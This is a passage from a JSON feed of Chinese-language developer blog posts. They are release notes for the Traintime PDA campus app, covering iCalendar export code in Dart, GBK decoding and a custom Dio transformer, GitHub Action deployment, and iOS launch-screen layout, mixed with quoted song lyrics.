class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;:\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003estopTime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etime\u003c/span\u003e\u003cspan class=\"p\"\u003e[(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estop\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;:\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003evevent\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;DTSTART:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eday\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ehours:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]),\u003c/span\u003e \u003cspan class=\"nl\"\u003eminutes:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e])).\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003epattern:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;yyyyMMddTHHmmss\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003evevent\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;DTEND:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eday\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ehours:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estopTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]),\u003c/span\u003e \u003cspan class=\"nl\"\u003eminutes:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estopTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e])).\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003epattern:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;yyyyMMddTHHmmss\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003evevent\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003edescription\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003eEND:VEVENT\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003eEND:VCALENDAR\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"关于将得到的-icalendar-字符串输出成文件\"\u003e关于将得到的 iCalendar 字符串输出成文件\u003c/h3\u003e\n\u003cp\u003e实际上没啥好说的,因为太玄学了。\u003c/p\u003e\n\u003cp\u003e我一开始使用了 \u003ccode\u003efile_picker\u003c/code\u003e 插件,打算让用户先选个文件夹,然后将文件保存了。结果我测试,全都崩溃了。根据反馈,是在插件的原生端获取到用户选择的目录后,返回给 Flutter 端的时候崩溃的,真够无语的。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/file_picker_crash_1.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/file_picker_crash_1.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"堆栈信息\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e堆栈信息\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/file_picker_crash_2.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/file_picker_crash_2.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"具体到库代码\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e具体到库代码\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e正好我的开发时候大量依赖用户的网络交互记录反馈,这是依靠 \u003ccode\u003eAlice\u003c/code\u003e 插件实现的。我去读了 Alice 的代码,发现他使用了很多 \u003ccode\u003eshare_plus\u003c/code\u003e 库,然后我的保存功能就使用了这个。\u003c/p\u003e\n\u003cp\u003e这个库很简单,我要记一笔关于临时文件的东西。这个东西分享文件,是先在软件的临时目录中保存,然后分享,临时文件的清理就交给了系统。我是自己写了一套保存到临时文件,分享后立刻删除的机制。顺便,一定要使用我之前提到的 mime-type,要不然存的就是纯文本文件。\u003c/p\u003e\n\u003cp\u003e关于 \u003ccode\u003eshare_plus\u003c/code\u003e 库,请看这个\u003ca class=\"link\" href=\"https://pub.dev/packages/share_plus\" target=\"_blank\" rel=\"noopener\"\n \u003e链接\u003c/a\u003e。\u003c/p\u003e\n\u003ch3 id=\"课程冲突信息处理\"\u003e课程冲突信息处理\u003c/h3\u003e\n\u003cp\u003e有调课,停课,补课三种。调课是麻烦点,需要寻找到课程信息,然后找到所有跟此相关的时间信息,然后该删除的删除,该添加的添加。\u003c/p\u003e\n\u003cp\u003e不过咱学校的调课信息属实离谱,居然能有调整信息里的老师和对应课程信息里老师信息不一致的状况,离谱啊。最后我把老师信息提取到时间信息去了……\u003c/p\u003e\n\u003ch2 id=\"其他相关\"\u003e其他相关\u003c/h2\u003e\n\u003cp\u003e日本人能好好说话吗,最近看真寻酱动画片。里面的台词我听着很耳熟啊,超市真就发音苏坡马特(supermarket),微笑也发音和斯迈尔里(smiley)神似,真离谱。\u003c/p\u003e\n\u003cp\u003e(此处狗头保命,顺便说明我不是男娘,为啥最近男娘这么流行)\u003c/p\u003e\n\u003ch2 id=\"tequila-sunrise-by-eagles\"\u003eTequila Sunrise by Eagles\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Bz411e7MC\" target=\"_blank\" rel=\"noopener\"\n \u003eMV 在此\u003c/a\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eIt\u0026#39;s another tequila sunrise\nStarin\u0026#39; slowly \u0026#39;cross the sky\nSaid goodbye\n\nHe was just a hired hand\nWorkin\u0026#39; on the dreams he planned to try\nThe days go by\n\nEvery night when the sun goes down\nJust another lonely boy in town\nAnd she\u0026#39;s out runnin\u0026#39; \u0026#39;round\n\nShe wasn\u0026#39;t just another woman\nAnd I couldn\u0026#39;t keep from comin\u0026#39; on\nIt\u0026#39;s been so long\n\nWhoa, and it\u0026#39;s a hollow feelin\u0026#39;\nWhen it comes down to dealin\u0026#39; friends\nIt never ends\n\nTake another shot of courage\nWonder why the right words never come\nYou just get numb\n\nIt\u0026#39;s another tequila sunrise\nThis old world still looks the same\nAnother frame\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eFarewell my good time.\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/traintime-pda-v0.4.1-release-note.html"},{"title":"Traintime PDA v0.4.0 发行简记","time":"2023-10-01T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/homepage.jpg\" alt=\"Featured image of post Traintime PDA v0.4.0 发行简记\" /\u003e\u003ch1 id=\"traintime-pda-030--040-发行简记\"\u003eTraintime PDA 0.3.0 \u0026amp; 0.4.0 发行简记\u003c/h1\u003e\n\u003cp\u003e本来我是不想现在就上架 App Store,但是电表突然上架了。虽然目前功能少,但着实打了一惊,我也顾不上我软件的不成熟,也上架了。看来大家还是很认可我的软件,所以感觉可以。我也很感谢很多帮我的人,无论是画吉祥物的,还是帮我发传单的,给我 UI 设计提出建议的。\u003c/p\u003e\n\u003cp\u003e之前我好像说过学校“揭榜”的事情,这玩意确实有点用,就是在面试时候问项目背景的时候,至少能扯到学校:-P\u003c/p\u003e\n\u003cp\u003e说是发行简记,实际上我要写很多的技术相关细节。\u003c/p\u003e\n\u003ch2 id=\"新功能\"\u003e新功能\u003c/h2\u003e\n\u003cp\u003e不包括 bug 修复。\u003c/p\u003e\n\u003ch3 id=\"v030\"\u003ev0.3.0\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003eiOS 版本添加吉祥物,绘画者是 \u003ca class=\"link\" href=\"https://ray.al/\" target=\"_blank\" rel=\"noopener\"\n \u003eRay\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e应用内信息,会有开发者发出的学校/社团/应用信息\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"v040\"\u003ev0.4.0\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e物理实验查看功能\u003c/li\u003e\n\u003cli\u003e现在必须填写密码才能看体育打卡记录。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于接下来的任务\"\u003e关于接下来的任务\u003c/h2\u003e\n\u003cp\u003e可以加入我程序的 \u003ca class=\"link\" href=\"https://testflight.apple.com/join/pLKe5B4q\" target=\"_blank\" rel=\"noopener\"\n \u003eTestflight\u003c/a\u003e 来尝鲜。\u003c/p\u003e\n\u003ch3 id=\"v04x-计划\"\u003ev0.4.x 计划\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e课表添加输出为 icalender 格式,方便 iOS 导入日历。\u003c/li\u003e\n\u003cli\u003eXDU Planet 买个新服务器运行起来。\u003c/li\u003e\n\u003cli\u003e优化掉一些不需要控制器的页面,减少加载失败概率。\u003c/li\u003e\n\u003cli\u003e把体育打卡成绩加回来。\u003c/li\u003e\n\u003cli\u003e新知道个查签到次数的脚本,打算集成。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"v100-计划\"\u003ev1.0.0 计划\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e优化首页 UI 的设计。\u003c/li\u003e\n\u003cli\u003e集成考试,物理实验到课表内,进行统一的日程展示。(大功能,容易鸽子)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"将来计划\"\u003e将来计划\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e桌面小部件。\u003c/li\u003e\n\u003cli\u003e研究生版本打算写个网页服务器,输入学号密码获取 icalender 课表。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于技术相关\"\u003e关于技术相关\u003c/h2\u003e\n\u003ch3 id=\"关于物理实验乱码处理和-dio-转换器\"\u003e关于物理实验,乱码处理和 Dio 转换器\u003c/h3\u003e\n\u003cp\u003e我们学校目前的物理实验服务器使用的是 2005 年的 ASP 技术,重点在 2005 年。实际上技术差点也没啥,但是有两点属实离谱:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e所有的信息都是用 GB2312 编码的。\u003c/li\u003e\n\u003cli\u003e传回的 Cookie 有中文字符的字段。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e其中第二点是最离谱的。\u003c/p\u003e\n\u003cp\u003e对于 Dart 底层的默认 UTF-16 String 来说,这俩点属实头疼。\u003c/p\u003e\n\u003ch4 id=\"乱码处理\"\u003e乱码处理\u003c/h4\u003e\n\u003cp\u003e乱码实际上很常见,常知道的锟斤拷梗就跟这个相关。毕竟汉字跟英文一样,在电脑底层都是需要用二进制编码来表示的。简体中文汉字有两个主要编码:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e国标码:一个用于编码汉字和一些日韩字符的国家标准,主要有 GB2312,GBK,GB18030 三个标准,呈现继承与发展(向下兼容)的特性。请查看\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/453675608\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e来搞清国标码(GBK)相关。Windows 默认就是这个编码。国标码是定长编码,基本使用两个字节(16 位二进制位)来表示一个汉字。\u003c/li\u003e\n\u003cli\u003eUTF 编码:国际上有个统一码联盟,他们负责给全世界所有的字符编码,称为 Unicode。很早他们就支持了中日韩三个语言字符的编码(由于文字特性,中日韩字符在他们的体系中,在一个分区)。Unicode 只是规定了字符对应的二进制表示,但实际使用,位数过长而且浪费很多,所以实际使用只能继续缩短,使用更短的变长编码,称为 UTF。UTF 分成很多版本,一般代表了最短编码位数是多少。Linux / Mac + 互联网数据一般都是用这个编码。详情可以查看\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/427488961\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e说到变长编码知识,计算机组成会讲汇编命令是如何编码的,那里会讲的。\u003c/p\u003e\n\u003cp\u003e很明显,如果用 UTF 编码解析国标码,绝对会解析出不正常的数据。大巧不巧,Dart 语言的 String 本质上是一个 UTF-16 编码的序列。于是问题就产生了。\u003c/p\u003e\n\u003cp\u003e国标码是定长编码,而 UTF 是变长编码,很显然是基本没法兼容的。不兼容还好,在我的实践中,用 UTF 编码先编码回二进制信息,然后用国标码解码信息,大概率是无法得到正确的数据。\u003c/p\u003e\n\u003cp\u003e所以我目前程序中,需要让网络库不能用 Dart 的 String 来解码我的数据,我需要一个支持国标码的解码库。\u003c/p\u003e\n\u003ch4 id=\"dart--flutter-的-gbk-解码库\"\u003eDart / Flutter 的 GBK 解码库\u003c/h4\u003e\n\u003cp\u003e这个实际上有两种:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e流行方案:使用 UTF 和 GBK 的码表一一对应,方便转换。这个方式对平台很灵活,缺点需要让我程序增大 500k 左右,而且这种方式在执行时候也会有些慢。\u003c/li\u003e\n\u003cli\u003e调用系统的解码接口来解码信息,我使用的是这个方案。但是缺点也很明显,如果没有对目标系统适配,解码就很难办。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e最终我使用的是这个库:\u003ca class=\"link\" href=\"https://pub.dev/packages/charset_converter\" target=\"_blank\" rel=\"noopener\"\n \u003echarset_converter\u003c/a\u003e。它目前能 Windows,Android,iOS 三个系统的转码,而且使用很方便。他支持很多编码,但我主要用国标码。\u003c/p\u003e\n\u003ch4 id=\"关于-dio-的转换器\"\u003e关于 Dio 的转换器\u003c/h4\u003e\n\u003cp\u003eDio 的网络请求使用的是过滤器流水线模式:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eHTTP 请求 -\u0026gt; 若干拦截器 -\u0026gt; 转换器 -\u0026gt; Dart 底层实现或系统网络实现\n响应的二进制码 -\u0026gt; 转换器 -\u0026gt; 若干拦截器 -\u0026gt; HTTP 响应\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e拦截器一般处理 Cookie,判断响应码之类。目前 Dio 的拦截器不支持异步方法。\u003c/p\u003e\n\u003cp\u003e转换器 Transformer 是一个二进制码和 HTTP 请求响应结构互相转化的桥梁。默认的 Transformer 是解码后用来对 body 进行判断的。由于我上面提到,不能用 UTF 先编码再解码,所以我定制了一个 Transformer,称为 \u003ccode\u003eExperimentDioTransformer\u003c/code\u003e。在一些基本对 Body 的二进制解析后,直接用 GBK 解码库来返回数据。学校物理实验服务器都是返回的网页,所以这么写没啥问题。\u003c/p\u003e\n\u003ch4 id=\"关于-cookie-有中文字符\"\u003e关于 Cookie 有中文字符\u003c/h4\u003e\n\u003cp\u003e可以看看\u003ca class=\"link\" href=\"https://github.com/cfug/dio/issues/1959\" target=\"_blank\" rel=\"noopener\"\n \u003e我在 Dio 开发仓库提出的问题\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003eCookie 的官方规范,是仅允许一部分 ASCII 码作为合法字符的,Dart 核心库的 Cookie 实现严格遵照这个规范。但是令我哭笑不得的是,咱学校物理实验服务器传回的 Cookie 包含中文字符,就是这个用户的名字。加上 GBK 导致的编码,最后的结果自然就是报错,扔出“错误编码异常”。\u003c/p\u003e\n\u003cp\u003e人官方严格按照标准,无可厚非。我为了这个玩意折腾了很长时间,直到最后,有个人告诉我,那个 Cookie 给服务器传任何值都可以,我无语了\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003ch3 id=\"关于应用内信息的分发机制\"\u003e关于应用内信息的分发机制\u003c/h3\u003e\n\u003cp\u003e借鉴了\u003ca class=\"link\" href=\"https://github.com/xeonds/xdu-planet\" target=\"_blank\" rel=\"noopener\"\n \u003e这个项目\u003c/a\u003e。接下来,根据我的“服务器”和借鉴项目的 Github Action 配置文件,我给大家做一个大致的部署过程讲解。\u003c/p\u003e\n\u003ch4 id=\"借鉴项目的-action\"\u003e借鉴项目的 Action\u003c/h4\u003e\n\u003cp\u003eGo 版本的 XDU Planet,本质上就是 RSS 处理转 json,然后用 gin 开服务器端口。这个项目使用 Github Action 来每小时更新,然后更新成一个 json 文件,最后搞到 Github Page。\u003c/p\u003e\n\u003cp\u003e这个项目有三个分支:主代码,配置文件,部署分支。发布流程大致如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eAction 环境初始化,获取代码(Checkout)。\u003c/li\u003e\n\u003cli\u003e对代码进行构建,对于这个项目,就是构建 go 代码和 vue 代码。\u003c/li\u003e\n\u003cli\u003e使用 go 生成的可执行文件,生成 json 文件。\u003c/li\u003e\n\u003cli\u003e上传生成的网页和 json 到部署分支,然后在部署分支的基础上部署 Github Action。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"我的通知服务器\"\u003e我的“通知服务器”\u003c/h4\u003e\n\u003cp\u003e可以看看\u003ca class=\"link\" href=\"https://github.com/BenderBlog/traintime_pda_backend\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。核心技术就是用 \u003ca class=\"link\" href=\"https://github.com/johnkerl/miller\" target=\"_blank\" rel=\"noopener\"\n \u003eMiller\u003c/a\u003e 来将 csv 转换成 json,然后用 Github Action 推到 Page 服务。同样的,这个项目有两个分支:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003emain 分支:存储 csv 文件和 Github Action 配置文件。\u003c/li\u003e\n\u003cli\u003edepoly 分支:存储需要通过 Github Page 发布的 json 文件。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e发布流程和上面的差不多:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eAction 环境初始化,获取代码(Checkout)。\u003c/li\u003e\n\u003cli\u003e将 csv 转换为 json 文件。\u003c/li\u003e\n\u003cli\u003e上传 json 到部署分支,然后在 depoly 分支的基础上部署 Github Action。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"关于一点点-ios-开屏娘的事情\"\u003e关于一点点 iOS 开屏娘的事情\u003c/h3\u003e\n\u003cp\u003e这个玩意主要用到了 XCode 的界面设计工具。长这样:\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/XDYou_XCode_LaunchImage.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/XDYou_XCode_LaunchImage.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003eApple Store 上架需要程序有个开屏图,我于是找个人画个漫画。画家顺便画个手绘板的图标,风格对应了。\u003c/p\u003e\n\u003cp\u003e这个玩意我当时搞了接近一个下午才搞成,大部分时间在摸索这玩意到底咋用,小部分时间在看各个手机屏幕大小情况下的排版状况。最终我摸索出这样的排版:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e上面人脸下面图标,在一个中轴线上。\u003c/li\u003e\n\u003cli\u003e人脸大小写死,因为我不知道如何动态调整图片大小:P 图标比例写死 1:1。\u003c/li\u003e\n\u003cli\u003e人脸中心在 Y 轴中心上面(减去) 80px 处,图标在 Y 轴下面(加上) 200 像素处。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"dreams-never-end-by-new-order-former-joy-division\"\u003eDreams Never End by New Order (former Joy Division)\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Sy4y1E7Uy\" target=\"_blank\" rel=\"noopener\"\n \u003e歌曲的 MV 点此观看\u003c/a\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eMy promise could be your fiend \nA given end to your dreams \nA simple movement or rhyme \nCould be the smallest of signs \nWe\u0026#39;ll never know what they are or care \nIn it\u0026#39;s escapable view \nThere\u0026#39;s no escape so few in fear \nGive in a changing value \n\nTo be given your sight \nHid in a long peaceful night \nA nervous bride for your eyes \nA fractured smile that soon dies \nA love that\u0026#39;s wrong from your life and soul \nA savage mine had begun \nHello, farewell to your love and soul \nHello, farewell to your soul \n\nNow I know what those hands would do \nNo looking back now, we\u0026#39;re pushing through \nWe\u0026#39;ll change these feelings, we\u0026#39;ll taste and see \nBut never guess how the him would scream \nBut never guess how the him would scream \nBut never guess how the him would scream \n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eYours and us legacy continues, no matter what happens\u0026hellip;\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/traintime-pda-v0.4.0-release-note.html"},{"title":"Traintime PDA v0.2.0 发行简记","time":"2023-08-16T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/homepage.jpg\" alt=\"Featured image of post Traintime PDA v0.2.0 发行简记\" /\u003e\u003cp\u003e没想到很快我就发了 v0.2.0 版本,和 v0.1.0 版本相比,我感觉更多的是完善,和准备上架。\u003c/p\u003e\n\u003cp\u003e说是发行简记,实际上我要写很多的技术相关细节。\u003c/p\u003e\n\u003ch2 id=\"新功能介绍\"\u003e新功能介绍\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e空闲教室查看功能,写起来比我想的简单。但是我是大摆子,我不知道真的会有人用嘛.png\u003c/li\u003e\n\u003cli\u003e移除西电目录,使用电话本代替。点击对应卡片可以拨出电话。\u003c/li\u003e\n\u003cli\u003e很多的 WebView 功能,比如报修啥的。这玩意主要可以水功能,还能对标其他产品。\u003c/li\u003e\n\u003cli\u003e应某个工作室请求,我写了个双创需求大厅,希望各位能从上面更好地拉队友(别跟我一样啥奖都没有,QAQ)\u003c/li\u003e\n\u003cli\u003e校园网感觉短期内不会有写的必要了,所以写进 WebView 了(溜)。\u003c/li\u003e\n\u003cli\u003e顺利上架 F-Droid,然后貌似站点就给墙了?\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于接下来的任务\"\u003e关于接下来的任务\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e物理实验查询,我目前不做实验了,所以可能得找人帮忙了()\u003c/li\u003e\n\u003cli\u003e上架 iOS 商店。\u003c/li\u003e\n\u003cli\u003eiOS 和 Android 小部件,我需要进一步研究。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于上架-ios\"\u003e关于上架 iOS\u003c/h2\u003e\n\u003cp\u003e目前我打算这个版本尝试申请 Testflight。据我所知,至少有三个组+两个人也在写这个东西,我无论如何也得打出去第一炮。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这里我无端想到了《东周列国春秋篇》电视剧里面的要离。\u003c/p\u003e\n\u003cp\u003e中学学过“专诸刺王僚,要离刺庆忌”,不知道咋回事。看了电视剧才知道,他为了出名,壮士断腕。吴王阖闾说:“你是要名,还是要家?”结果就不必说了……\u003c/p\u003e\n\u003cp\u003e我现在也有点那啥,我为了这玩意,已经砸进去很多了。我这辈子都没一次性花这么多钱,现在我不上架,真对不住那么钱了。但上架了话,真的会有那么多人用嘛?\u003c/p\u003e\n\u003cp\u003e我这玩意,真要跟电表,跟其他原生,可以说是被爆打。也许就真的只是“开源+第一个上架”?开源这年头算毛线的优势?\u003c/p\u003e\n\u003cp\u003e写这个程序有一段时间,我一直在想这件事,不过现在释然了。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 